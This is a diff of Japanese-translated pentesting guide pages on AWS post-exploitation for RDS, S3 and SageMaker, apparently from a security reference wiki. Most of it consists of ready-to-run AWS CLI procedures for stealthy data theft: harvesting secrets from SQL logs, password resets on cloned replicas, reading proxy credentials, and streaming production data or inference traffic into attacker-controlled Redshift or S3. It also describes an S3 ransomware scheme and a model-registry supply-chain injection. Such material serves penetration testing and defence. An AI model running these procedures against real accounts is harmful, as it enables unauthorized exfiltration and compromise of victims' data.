-rds:ModifyDBParameterGroup を悪用し、RDS log download APIs を使ってアプリケーションが実行するすべての SQL ステートメントをキャプチャします（DB エンジンの認証情報は不要）。エンジンの SQL ロギングを有効化し、ファイルログを rds:DescribeDBLogFiles と rds:DownloadDBLogFilePortion（または REST の downloadCompleteLogFile）で取得します。秘密情報/PII/JWT を含む可能性のあるクエリを収集するのに有用です。
+`rds:ModifyDBParameterGroup` を悪用し、RDS log download APIs でアプリケーションが実行したすべての SQL ステートメントを取得します（DB エンジンの認証情報は不要）。エンジンの SQL ロギングを有効にし、`rds:DescribeDBLogFiles` と `rds:DownloadDBLogFilePortion`（または REST の `downloadCompleteLogFile`）でログファイルを取得します。secrets/PII/JWTs を含む可能性のあるクエリを収集するのに有用です。
 
 Permissions needed (minimum):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
-- `rds:ModifyDBInstance` (インスタンスがデフォルトの parameter group を使用している場合にカスタム parameter group をアタッチするためのみ)
-- `rds:RebootDBInstance` (再起動が必要なパラメータ用、例: PostgreSQL)
+- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
+- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
 
 Steps
 1) Recon target and current parameter group
@@ -180,9 +180,9 @@ aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
-2) カスタム DB parameter group がアタッチされていることを確認する（cannot edit the default）
-- インスタンスが既にカスタムグループを使用している場合、次のステップでその名前を再利用する。
-- そうでない場合は、エンジンファミリーに合わせたものを作成してアタッチする:
+2) カスタム DB パラメータグループがアタッチされていることを確認する（デフォルトは編集できない）
+- インスタンスが既にカスタムグループを使用している場合は、次の手順でその名前を再利用する。
+- それ以外の場合は、エンジンファミリーに合ったものを作成してアタッチする：
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -196,7 +196,7 @@ aws rds modify-db-instance \
 --apply-immediately
 # Wait until status becomes "available"
 ```
-3) 詳細な SQL ロギングを有効にする
+3) 詳細なSQLログを有効にする
 - MySQL engines (即時 / 再起動不要):
 ```bash
 aws rds modify-db-parameter-group \
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
 # Reboot if any parameter is pending-reboot
 aws rds reboot-db-instance --db-instance-identifier <DB>
 ```
-4) ワークロードを実行させる (またはクエリを生成する)。ステートメントはエンジンのファイルログに書き込まれます
+4) ワークロードを実行する（またはクエリを生成する）。ステートメントはエンジンのファイルログに書き込まれます
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`
 
-5) ログを検出してダウンロードする (no DB creds required)
+5) ログを発見してダウンロードする（DB 資格情報は不要）
 ```bash
 aws rds describe-db-log-files --db-instance-identifier <DB>
 
@@ -235,11 +235,11 @@ aws rds download-db-log-file-portion \
 --starting-token 0 \
 --output text > dump.log
 ```
-6) オフラインで機密データを分析する
+6) 機密データを検出するためにオフラインで解析する
 ```bash
 grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
 ```
-証拠の例（編集済）：
+例の証拠（編集済み）:
 ```text
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
@@ -261,11 +261,11 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-影響: Post-exploitation によるデータアクセス。AWS APIs を介してアプリケーションの全ての SQL ステートメントを取得でき（no DB creds）、secrets、JWTs、PII を leak する可能性がある。
+影響: AWS APIs を介してアプリケーションの全ての SQL ステートメントをキャプチャすることによる事後侵害でのデータアクセス（DB creds 不要）、potentially leaking secrets, JWTs, and PII.
 
 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
 
-RDS read replicas を悪用して、プライマリインスタンスの認証情報に触れずにアウトオブバンドでの読み取りアクセスを得ることができます。攻撃者は本番インスタンスから read replica を作成し、レプリカのマスターパスワードをリセットできます（これはプライマリを変更しません）。必要に応じて、データを exfiltrate するためにレプリカを公開することも可能です。
+RDS の read replicas を悪用して、プライマリインスタンスの資格情報に触れることなく out-of-band の読み取りアクセスを取得します。攻撃者は本番インスタンスから read replica を作成し、レプリカのマスターパスワードをリセットすることができ（これはプライマリを変更しません）、必要に応じてレプリカを公開してデータを exfiltrate できます。
 
 Permissions needed (minimum):
 - `rds:DescribeDBInstances`
@@ -273,7 +273,7 @@ Permissions needed (minimum):
 - `rds:ModifyDBInstance`
 - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
 
-影響: 攻撃者が制御する資格情報を持つレプリカを介した本番データへの読み取り専用アクセス。プライマリが触れられずレプリケーションが継続するため、検知されにくい。
+影響: 攻撃者が制御する資格情報でレプリカ経由の本番データへの読み取り専用アクセスが可能。プライマリが触られずレプリケーションが継続するため、検出される可能性が低くなります。
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -304,13 +304,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
 # Optional: promote for persistence
 # aws rds promote-read-replica --db-instance-identifier <REPL_ID>
 ```
-証拠の例 (MySQL):
-- レプリカDBステータス: `available`, 読み取りレプリケーション: `replicating`
+証拠の例（MySQL）:
+- レプリカDBのステータス: `available`、読み取りレプリケーション: `replicating`
 - 新しいパスワードでの接続に成功し、`@@read_only=1` により読み取り専用レプリカへのアクセスが確認された。
 
 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
 
-RDS Blue/Green を悪用して、本番DBを継続的にレプリケートされる読み取り専用の green 環境にクローンします。次に green master credentials をリセットして、blue (prod) instance に触れることなくデータへアクセスします。これは snapshot sharing よりもステルス性が高く、しばしばソースのみに焦点を当てた監視を回避します。
+RDS Blue/Greenを悪用して、本番DBを継続的にレプリケートされる読み取り専用のgreen環境へクローンします。次にgreenのマスター資格情報をリセットして、blue (prod) インスタンスに触れずにデータへアクセスします。これはsnapshot sharingよりステルス性が高く、ソースのみに注力した監視を回避することが多い。
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -357,21 +357,22 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier <BGD_ID> \
 --delete-target true
 ```
-影響: 本番インスタンスを変更せず、ほぼリアルタイムの本番クローンに対して読み取り専用ながら完全なデータアクセスを得られる。ステルスなデータ抽出やオフライン解析に有用。
+影響: 本番インスタンスを変更せずに、本番のニアリアルタイムなクローンに対して読み取り専用ながらフルデータアクセスが可能です。ステルスなデータ抽出やオフライン解析に有用です。
 
-### RDS Data API 経由のアウトオブバンド SQL（HTTP endpoint を有効化 + マスター・パスワードをリセット）
 
-ターゲットクラスターで RDS Data API の HTTP endpoint を有効化するよう Aurora を悪用し、マスター・パスワードを自分が制御する値にリセットして、HTTPS 上で SQL を実行する（VPC のネットワーク経路は不要）。Data API/EnableHttpEndpoint をサポートする Aurora エンジンで動作する（例: Aurora MySQL 8.0 provisioned、いくつかの Aurora PostgreSQL/MySQL バージョン）。
+### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
 
-権限（最小）:
+Aurora を悪用してターゲットクラスタで RDS Data API HTTP endpoint を有効化し、master password を自分で管理する値にリセットして、HTTPS 経由で SQL を実行します（VPC ネットワーク経路は不要）。Data API/EnableHttpEndpoint をサポートする Aurora エンジンで動作します（例: Aurora MySQL 8.0 provisioned; 一部の Aurora PostgreSQL/MySQL バージョン）。
+
+必要な権限（最小）:
 - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
-- rds-data:ExecuteStatement (および rds-data:BatchExecuteStatement を使用する場合)
+- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
 
-影響: ネットワーク分離を回避し、DB への直接的な VPC 接続なしに AWS APIs 経由でデータを持ち出せる。
+影響: ネットワーク分離を回避し、DB への直接的な VPC 接続なしに AWS APIs 経由でデータを抽出して持ち出すことができます。
 
 <details>
-<summary>エンドツーエンド CLI（Aurora MySQL の例）</summary>
+<summary>End-to-end CLI (Aurora MySQL の例)</summary>
 ```bash
 # 1) Identify target cluster ARN
 REGION=us-east-1
@@ -424,23 +425,23 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 </details>
 
 注意:
-- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
-- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
-- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.
+- rds-data によってマルチステートメント SQL が拒否される場合は、個別に execute-statement を実行してください。
+- modify-db-cluster --enable-http-endpoint が効果を持たないエンジンでは、rds enable-http-endpoint --resource-arn を使用してください。
+- エンジン/バージョンが実際に Data API をサポートしていることを確認してください。そうでないと HttpEndpointEnabled は False のままになります。
 
 
-### RDS Proxy の認証用 secrets 経由で DB 資格情報を収集する (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### RDS Proxy の認証用 Secrets Manager シークレット経由で DB 資格情報を収集 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
 
-RDS Proxy の設定を悪用してバックエンド認証に使用される Secrets Manager の secret を特定し、その secret を読み取ってデータベースの資格情報を取得します。多くの環境では広範な `secretsmanager:GetSecretValue` が付与されており、これにより DB 資格情報への低摩擦なピボットが可能になります。secret が CMK を使用している場合、誤った KMS 権限により `kms:Decrypt` が可能になることもあります。
+RDS Proxy の設定を悪用してバックエンド認証に使われている Secrets Manager シークレットを特定し、そのシークレットを読み取ってデータベース資格情報を取得します。多くの環境では `secretsmanager:GetSecretValue` が広範に許可されており、DB 資格情報への低摩擦なピボットになります。シークレットが CMK を使用している場合、範囲を誤った KMS 権限により `kms:Decrypt` が可能になることもあります。
 
-必要な権限（最小）:
+Permissions needed (minimum):
 - `rds:DescribeDBProxies`
-- 参照されている SecretArn に対する `secretsmanager:GetSecretValue`
-- secret が CMK を使用している場合（任意）: そのキーに対する `kms:Decrypt`
+- `secretsmanager:GetSecretValue` on the referenced SecretArn
+- Optional when the secret uses a CMK: `kms:Decrypt` on that key
 
-影響: プロキシに設定された DB のユーザー名/パスワードが即座に開示される。これにより直接の DB アクセスやさらなる横方向移動が可能になります。
+Impact: Immediate disclosure of DB username/password configured on the proxy; enables direct DB access or further lateral movement.
 
-手順
+Steps
 ```bash
 # 1) Enumerate proxies and extract the SecretArn used for auth
 aws rds describe-db-proxies \
@@ -453,7 +454,7 @@ aws secretsmanager get-secret-value \
 --query SecretString --output text
 # Example output: {"username":"admin","password":"S3cr3t!"}
 ```
-ラボ（再現の最小構成）
+ラボ（再現に必要な最小構成）
 ```bash
 REGION=us-east-1
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -479,17 +480,17 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
 aws iam delete-role --role-name rds-proxy-secret-role
 aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
 ```
-### Aurora zero‑ETL を使った Amazon Redshift へのステルスな継続的 exfiltration (rds:CreateIntegration)
+### ステルスな継続的データ流出 via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
 
-Aurora PostgreSQL zero‑ETL integration を悪用して、本番データを自分が管理する Redshift Serverless namespace に継続的に複製します。特定の Aurora cluster ARN に対して CreateInboundIntegration/AuthorizeInboundIntegration を許可する寛容な Redshift resource policy がある場合、攻撃者は DB creds、snapshots、ネットワーク露出なしでほぼリアルタイムのデータコピーを確立できます。
+Aurora PostgreSQL zero‑ETL integrationを悪用して、本番データをあなたが管理するRedshift Serverless namespaceに継続的に複製します。特定のAurora cluster ARNに対してCreateInboundIntegration/AuthorizeInboundIntegrationを許可する緩いRedshift resource policyがある場合、攻撃者はDB creds、スナップショット、ネットワーク露出なしでほぼリアルタイムのデータコピーを確立できます。
 
-必要な権限（最小）:
+必要な権限（最低）:
 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
 - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
 - `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
 - `rds-data:ExecuteStatement` (optional; to seed data if needed)
 
-テスト済み: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
+テスト済み: us-east-1、Aurora PostgreSQL 16.4 (Serverless v2)、Redshift Serverless。
 
 <details>
 <summary>1) Redshift Serverless namespace + workgroup を作成</summary>
@@ -508,7 +509,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
 </details>
 
 <details>
-<summary>2) Redshift のリソースポリシーを構成して Aurora ソースを許可する</summary>
+<summary>2) Redshift のリソースポリシーを設定して Aurora ソースを許可する</summary>
 ```bash
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
 SRC_ARN=<AURORA_CLUSTER_ARN>
@@ -539,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
 </details>
 
 <details>
-<summary>3) Aurora PostgreSQL クラスターを作成する (Data API と logical replication を有効にする)</summary>
+<summary>3) Aurora PostgreSQL クラスターを作成（Data API と logical replication を有効化）</summary>
 ```bash
 CLUSTER_ID=aurora-ztl
 aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -570,7 +571,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
 </details>
 
 <details>
-<summary>4) RDS から zero‑ETL 統合を作成する</summary>
+<summary>4) RDS から zero‑ETL インテグレーションを作成する</summary>
 ```bash
 # Include all tables in the default 'postgres' database
 aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
@@ -582,7 +583,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
 </details>
 
 <details>
-<summary>5) Redshiftで複製されたデータをマテリアライズしてクエリする</summary>
+<summary>5) Redshift でレプリケートされたデータをマテリアライズしてクエリする</summary>
 ```bash
 # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
 aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -597,10 +598,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
 
 テストで観察された証拠:
 - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
-- SVV_INTEGRATION は、DB 作成前に integration_id 377a462b-c42c-4f08-937b-77fe75d98211 と state PendingDbConnectState を表示していました。
-- CREATE DATABASE FROM INTEGRATION 実行後、テーブルを一覧表示すると schema ztl と table customers が見つかり、ztl.customers から選択すると 2 行 (Alice, Bob) が返されました。
+- SVV_INTEGRATION は integration_id 377a462b-c42c-4f08-937b-77fe75d98211 と state PendingDbConnectState を DB 作成前に示した。
+- CREATE DATABASE FROM INTEGRATION の後、テーブル一覧を確認するとスキーマ ztl とテーブル customers があり、ztl.customers を選択すると 2 行 (Alice, Bob) が返った。
 
-影響：攻撃者が制御する Redshift Serverless へ、選択した Aurora PostgreSQL テーブルをデータベース資格情報、バックアップ、またはソースクラスタへのネットワークアクセスを使用せずに、継続的かつほぼリアルタイムで exfiltration を行える可能性があります。
+影響: 攻撃者が制御する Redshift Serverless へ、選択された Aurora PostgreSQL テーブルの継続的かつほぼリアルタイムの exfiltration を、database credentials、backups、または network access to the source cluster を使用せずに行える。
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md

@@ -1,38 +0,0 @@
-# AWS - S3 ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-詳細については、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### 機密情報
-
-時には、バケット内で読み取れる機密情報を見つけることができます。例えば、terraformの状態秘密。
-
-### ピボッティング
-
-異なるプラットフォームがS3を使用して機密資産を保存している可能性があります。\
-例えば、**airflow**が**DAGs**の**コード**をそこに保存しているか、**ウェブページ**がS3から直接提供されているかもしれません。書き込み権限を持つ攻撃者は、バケットの**コードを変更**して他のプラットフォームに**ピボット**したり、JSファイルを変更して**アカウントを乗っ取る**ことができます。
-
-### S3 ランサムウェア
-
-このシナリオでは、**攻撃者が自分のAWSアカウント**または別の侵害されたアカウントにKMS（キー管理サービス）キーを作成します。次に、この**キーを世界中の誰でもアクセスできるようにします**。これにより、任意のAWSユーザー、ロール、またはアカウントがこのキーを使用してオブジェクトを暗号化できるようになります。ただし、オブジェクトは復号化できません。
-
-攻撃者はターゲットの**S3バケットを特定し、さまざまな方法で書き込みレベルのアクセスを取得**します。これは、公開されている不適切なバケット構成や、攻撃者がAWS環境自体にアクセスを得ることによるものです。攻撃者は通常、個人を特定できる情報（PII）、保護された健康情報（PHI）、ログ、バックアップなどの機密情報を含むバケットをターゲットにします。
-
-バケットがランサムウェアのターゲットになり得るかどうかを判断するために、攻撃者はその構成を確認します。これには、**S3オブジェクトバージョニング**が有効になっているか、**多要素認証削除（MFA削除）が有効になっているか**を確認することが含まれます。オブジェクトバージョニングが有効でない場合、攻撃者は進むことができます。オブジェクトバージョニングが有効だがMFA削除が無効な場合、攻撃者は**オブジェクトバージョニングを無効にする**ことができます。オブジェクトバージョニングとMFA削除の両方が有効な場合、攻撃者がその特定のバケットをランサムウェアにするのはより困難になります。
-
-AWS APIを使用して、攻撃者は**バケット内の各オブジェクトを自分のKMSキーを使用して暗号化されたコピーに置き換えます**。これにより、バケット内のデータが暗号化され、キーなしではアクセスできなくなります。
-
-さらなる圧力を加えるために、攻撃者は攻撃に使用されたKMSキーの削除をスケジュールします。これにより、ターゲットはキーが削除される前にデータを回復するための7日間のウィンドウを持つことになります。
-
-最後に、攻撃者は通常「ransom-note.txt」と名付けられた最終ファイルをアップロードし、ターゲットがファイルを取得する方法に関する指示を含めます。このファイルは暗号化されずにアップロードされ、ターゲットの注意を引き、ランサムウェア攻撃を認識させるためのものです。
-
-**詳細については** [**元の研究を確認してください**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**。**
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md

@@ -0,0 +1,38 @@
+# AWS - S3 Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### Sensitive Information
+
+バケット内で可読状態の機密情報が見つかることがあります。例えば、terraform state シークレットなど。
+
+### Pivoting
+
+Different platforms could be using S3 to store sensitive assets.\
+例えば、**airflow** がそこに **DAGs** **code** を保存していることがあり、あるいは **web pages** が S3 から直接配信されている場合があります。書き込み権限を持つ攻撃者は、バケット内の **modify the code** を変更して他のプラットフォームへ **pivot** したり、JS ファイルを改ざんして **takeover accounts** する可能性があります。
+
+### S3 Ransomware
+
+このシナリオでは、**attacker creates a KMS (Key Management Service) key in their own AWS account** または別の侵害されたアカウントで KMS キーを作成します。次に、この **key accessible to anyone in the world** にして、任意の AWS user、role、または account がこのキーを使ってオブジェクトを暗号化できるようにします。ただし、オブジェクトは復号できません。
+
+攻撃者はターゲットの **S3 bucket and gains write-level access** を特定し、さまざまな方法で書き込み権限を取得します。これはバケットの設定不備で公開されている場合や、攻撃者が AWS 環境自体にアクセスした場合などが考えられます。攻撃者は通常、PII、PHI、ログ、バックアップなどの機密情報を含むバケットを狙います。
+
+バケットが ransomare の対象になり得るかを判断するため、攻撃者はその設定を確認します。これには、**S3 Object Versioning** が有効か、**multi-factor authentication delete (MFA delete) is enabled** かどうかの確認が含まれます。Object Versioning が有効でない場合、攻撃者は進行できます。Object Versioning が有効で MFA delete が無効であれば、攻撃者は **disable Object Versioning** することができます。もし両方が有効であれば、その特定のバケットを ransomware するのはより困難になります。
+
+Using the AWS API、攻撃者は **replaces each object in the bucket with an encrypted copy using their KMS key** を実行します。これによりバケット内のデータが実質的に暗号化され、キーがなければアクセスできなくなります。
+
+さらに圧力をかけるため、攻撃者は攻撃に使用した KMS キーの削除をスケジュールします。これによりターゲットはキー削除前の 7 日間でデータを回復する時間が与えられ、キーが削除されるとデータは永久に失われます。
+
+最後に、攻撃者は通常 "ransom-note.txt" という名前のファイルをアップロードして、被害者がファイルを取り戻す方法を指示することがあります。このファイルは暗号化せずにアップロードされることが多く、被害者の注意を引いて ransomware 攻撃を認識させる目的があります。
+
+**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md

@@ -0,0 +1,178 @@
+# AWS - SageMaker Post-Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SageMaker endpoint のデータ吸い上げ (UpdateEndpoint DataCaptureConfig 経由)
+
+モデルやコンテナに触れることなく、SageMaker エンドポイント管理を悪用して、攻撃者が管理する S3 バケットへのリクエスト/レスポンスを完全にキャプチャできるようにする。ゼロ/低ダウンタイムのローリングアップデートを使用し、必要なのはエンドポイント管理の権限だけ。
+
+### 要件
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: `s3:CreateBucket` (または同じアカウント内の既存のバケットを使用)
+- オプション（SSE‑KMS を使用する場合）: 選択した CMK に対する `kms:Encrypt`
+- ターゲット: 同じアカウント/リージョン内の既存の InService リアルタイムエンドポイント
+
+### 手順
+1) InService エンドポイントを特定し、現在のプロダクションバリアントを収集する
+```bash
+REGION=${REGION:-us-east-1}
+EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
+echo "Endpoint=$EP"
+CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+echo "EndpointConfig=$CFG"
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) attacker S3 destination を captures 用に準備する
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-capture-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+```
+3) 同じ variants を維持したまま、DataCapture を attacker bucket に有効化する新しい EndpointConfig を作成する
+
+注：CLI の検証を満たす明示的なコンテンツタイプを使用してください。
+```bash
+NEWCFG=${CFG}-dc
+cat > /tmp/dc.json << JSON
+{
+"EnableCapture": true,
+"InitialSamplingPercentage": 100,
+"DestinationS3Uri": "s3://$BUCKET/capture",
+"CaptureOptions": [
+{"CaptureMode": "Input"},
+{"CaptureMode": "Output"}
+],
+"CaptureContentTypeHeader": {
+"JsonContentTypes": ["application/json"],
+"CsvContentTypes": ["text/csv"]
+}
+}
+JSON
+aws sagemaker create-endpoint-config \
+--region $REGION \
+--endpoint-config-name "$NEWCFG" \
+--production-variants file:///tmp/pv.json \
+--data-capture-config file:///tmp/dc.json
+```
+4) rolling update で新しい config を適用する（ダウンタイム最小/なし）
+```bash
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+5) 少なくとも1回の推論呼び出しを行う（ライブトラフィックが存在する場合は任意）
+```bash
+echo '{"inputs":[1,2,3]}' > /tmp/payload.json
+aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
+--content-type application/json --accept application/json \
+--body fileb:///tmp/payload.json /tmp/out.bin || true
+```
+6) attacker S3 にあるキャプチャを検証する
+```bash
+aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
+```
+### 影響
+- ターゲットのエンドポイントから攻撃者が管理する S3 バケットへ、リアルタイム推論のリクエストおよびレスポンスのペイロード（およびメタデータ）を完全に持ち出すことが可能。
+- model/container image に変更を加えず、エンドポイントレベルの変更のみで、運用への影響を最小限にしたステルスなデータ窃取経路を実現。
+
+## SageMaker 非同期推論出力のハイジャック（UpdateEndpoint AsyncInferenceConfig 経由）
+
+現在の EndpointConfig を複製し、AsyncInferenceConfig.OutputConfig の S3OutputPath/S3FailurePath を設定することで、エンドポイント管理を悪用して非同期推論出力を攻撃者が管理する S3 バケットへリダイレクトします。これにより model/container を変更せずに、モデルの予測（およびコンテナが含める変換済み入力）を持ち出すことができます。
+
+### 要件
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: モデル実行ロールまたは許容的なバケットポリシーを通じて攻撃者が管理する S3 バケットへ書き込めること
+- 対象: 非同期呼び出しが現在（または今後）利用される InService エンドポイント
+
+### 手順
+1) 対象エンドポイントから現在の ProductionVariants を収集する
+```bash
+REGION=${REGION:-us-east-1}
+EP=<target-endpoint-name>
+CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) attacker bucket を作成する（model execution role が PutObject できることを確認する）
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION || true
+```
+3) EndpointConfig を Clone して、AsyncInference の出力を攻撃者バケットに hijack する
+```bash
+NEWCFG=${CUR_CFG}-async-exfil
+cat > /tmp/async_cfg.json << JSON
+{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
+JSON
+aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+4) 非同期呼び出しをトリガーし、オブジェクトがattacker S3に到達することを確認する
+```bash
+aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
+aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
+sleep 30
+aws s3 ls s3://$BUCKET/async-out/ --recursive || true
+aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
+```
+### 影響
+- 非同期推論の結果（およびエラーボディ）を攻撃者が管理する S3 にリダイレクトし、モデルコードやイメージを変更せず、ほとんどまたは全くダウンタイムを発生させずに、コンテナが生成する予測結果や前処理/後処理された入力を密かに流出させることを可能にする。
+
+
+## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
+
+If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
+
+### 要件
+- IAM（既存グループを汚染するための最小権限）: 対象の ModelPackageGroup に対する `sagemaker:CreateModelPackage`
+- オプション（グループが存在しない場合に作成するため）: `sagemaker:CreateModelPackageGroup`
+- S3: 参照される ModelDataUrl への読み取りアクセス（または攻撃者管理のアーティファクトをホスト）
+- 対象: 下流の自動化が Approved バージョンを監視している Model Package Group
+
+### 手順
+1) リージョンを設定し、対象の Model Package Group を作成／検索する
+```bash
+REGION=${REGION:-us-east-1}
+MPG=victim-group-$(date +%s)
+aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
+```
+2) S3にダミーのモデルデータを準備する
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+head -c 1024 </dev/urandom > /tmp/model.tar.gz
+aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
+```
+3) パブリックな AWS DLC イメージを参照する悪意のある（ここでは無害な）Approved model package version を登録する
+```bash
+IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
+cat > /tmp/inf.json << JSON
+{
+"Containers": [
+{
+"Image": "$IMG",
+"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
+}
+],
+"SupportedContentTypes": ["text/csv"],
+"SupportedResponseMIMETypes": ["text/csv"]
+}
+JSON
+aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
+```
+4) 新しい Approved バージョンが存在することを確認する
+```bash
+aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
+```
+### 影響
